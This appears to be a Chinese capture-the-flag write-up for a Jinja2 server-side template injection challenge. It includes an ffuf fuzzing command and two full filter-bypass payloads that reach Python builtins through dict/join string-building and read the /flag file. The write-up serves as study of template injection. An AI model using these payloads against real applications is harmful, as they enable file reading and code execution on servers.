
1.get传参变量name为ssti注入点,经过模糊测试过滤如下,寻常调用对象和类的方式都被过滤了
1
| ffuf -u "http://11a5d5b2-d9ba-490f-86bc-df70f91a8b56.challenge.ctf.show/?name=FUZZ" -w fuzz-bit.txt -fs 3-1000 | sort -r
|

2.request也被过滤了,可以用dict和join结合绕过
1 2 3 4 5
| dict特性:在创造字典时,python会自动把赋值对象看成字符串,如dict(name=1)=>{"name":1} 当join用在字典上时会把所有键值连接成一个字符串,如dict(name=a,age=b)|join=>"nameage",而值用不到 看成占位符 利用这一特性,我们可以dict(pop=a)|join=>"pop",dict(globals=a)|join=>"globals",通过这样可以构造payload大部分了 但是最关键的还有下划线呢 (()|select|string|list).pop(24)即可获取
|
3.构造payload
1 2 3 4 5 6 7 8 9 10 11 12 13
| {% raw %} {%set po=dict(po=a,p=a)|join%}{#构造pop#} {%set a=(()|select|string|list)|attr(po)(24)%}{#()|select为<generator object select_or_reject at 0x7fbdb99af220>,pop(24)正好时下划线#} {%set ini=(a,a,dict(init=a)|join,a,a)|join%}{#构造__init__#} {%set glo=(a,a,dict(globals=a)|join,a,a)|join%}{#构造__globals__#} {%set buil=(a,a,dict(builtins=a)|join,a,a)|join%}{#构造__builtins__#} {%set get=(a,a,dict(getitem=a)|join,a,a)|join%}{#构造__getitem__#} {%set x=(q|attr(ini)|attr(glo)|attr(get))(buil)%}{#q是没有定义的变量在jinja2中为Undefined对象,这句话构造q.__init__.__globals__.__getitem__("__builtins__")#} {%set chr=x.chr%}{#提取chr函数#} {%set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%} {%print(x.open(file).read())%}
{% endraw %}
|
也可以写成下面这样,主要是理解
1 2 3 4 5 6 7 8
| {% raw %} {%set a=(()|select|string|list).pop(24)%} {%set glo=(a,a,dict(globals=a)|join,a,a)|join%} {%set buil=(a,a,dict(builtins=a)|join,a,a)|join%} {%set x=(lipsum|attr(glo)).get(buil)%} {%print(x.open(x.chr(47)%2bx.chr(102)%2bx.chr(108)%2bx.chr(97)%2bx.chr(103)).read())%}
{% endraw %}
|
